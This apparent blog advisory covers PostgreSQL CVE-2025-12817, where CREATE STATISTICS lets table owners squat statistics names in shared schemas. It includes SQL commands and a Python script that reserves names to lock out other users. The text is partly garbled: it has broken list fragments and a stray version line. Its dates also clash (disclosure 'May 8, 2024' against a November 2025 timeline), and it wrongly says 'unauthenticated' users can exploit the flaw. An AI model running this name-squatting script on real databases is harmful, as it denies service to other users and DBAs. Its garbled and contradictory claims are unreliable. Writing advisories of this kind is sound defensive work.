A missing authorization check in the PostgreSQL CREATE STATISTICS command allows any table owner to "hog" statistic names across all schemas—locking out others from making statistics with those names and causing denial of service grief. All major versions before 18.1, 17.7, 16.11, 15.15, 14.20, and 13.23 are affected!

What is CVE-2025-12817?

On May 8, 2024, PostgreSQL's team revealed a bug where a weak privilege check for CREATE STATISTICS lets any table owner create a statistics object in *any* schema they have CREATE rights on, even if they don’t own schema itself.

This wasn't supposed to be possible—schema owners or privileged users only!

But: If user A creates a stats object like public.my_stats, then *user B* (even with schema rights) can't create public.my_stats later. Result: a table owner can troll or shut out statistics for other users, even DBAs, by orphaning stats objects with conflicting names.

Is running a version *prior* to 18.1, 17.7, 16.11, 15.15, 14.20, or 13.23.

- Lets non-superusers (i.e., app-users/developers) own their own tables.

Grants users CREATE on shared schemas.

If you only ever use the public schema with a single app superuser, good news—you’re probably fine. But if you have a multi-tenant system, or let users own their schema but not the full database, you could be vulnerable.

Why Does the Bug Happen?

Normally, *creating* any object in a schema requires both the CREATE privilege and, for some objects, more—like being the schema owner. But for CREATE STATISTICS, this check was missing. So if you owned any table, you could make stats objects in schemas you *shouldn’t* be able to touch.

Worse: statistics objects *only* need a unique name in the schema; there’s no per-table namespace. If someone snaps up users_activity_stats in public, nobody else—not even a DBA—can claim it til it’s dropped.

Let’s walk through a simple exploit.

Suppose there’s a shared public schema, and User B wants to block anyone from creating a public.blocked_stats statistics object:

-- Assume user_b owns a_table, and has CREATE on 'public'
-- user_b logs in and runs:
CREATE STATISTICS public.blocked_stats ON col1, col2 FROM a_table;

-- Now, if user_c (even a higher-privileged one) tries:
CREATE STATISTICS public.blocked_stats ON colX, colY FROM other_table;

-- ERROR! Duplicate object name.

Because the CREATE STATISTICS command did not check if user_b actually owns the public schema, user_b is able to hog that statistic name for everyone using that schema. Anyone else gets:

ERROR:  statistics "blocked_stats" already exists in schema "public"

Here’s a quick Python snippet that demonstrates how a malicious user could sweep a bunch of reserved names:

import psycopg2

conn = psycopg2.connect("user=attacker dbname=yourdb")
cur = conn.cursor()
names = ['stat1', 'stat2', 'stat3', 'stat4']

for name in names:
    try:
        qry = f"CREATE STATISTICS public.{name} ON col1 FROM attacker_table"
        cur.execute(qry)
        print(f"Created stats object: {name}")
    except Exception as e:
        print(f"Failed to create {name}: {e}")
conn.commit()
conn.close()

Result: All those statistic names are now locked out from everyone else, until the attacker gives them up.

Impact

Unauthenticated users with just CREATE in a schema can block app maintainers, DBAs, or other users from creating stats objects—a form of denial of service. Found in multi-user DB clusters and SaaS backends.

13.23

Official release note:
https://www.postgresql.org/about/news/postgresql-181-177-1611-1515-142-1323-and-1119-released-2808/

References

- PostgreSQL Security Release for CVE-2025-12817

Announcement and patches.

- Official PostgreSQL CVE listing
- CREATE STATISTICS documentation

Conclusion

This is a simple but *nasty* loophole that can let even ordinary table owners block other users from naming or building statistics—impacting query plans, performance, and sanity.

Don’t just lock your front door—make sure you lock the back, too. Patch now!


*Authored exclusively for this post. Please reference the CVE and PostgreSQL documentation for further details.*

Timeline

Published on: 11/13/2025 13:15:45 UTC
Last modified on: 11/14/2025 16:42:03 UTC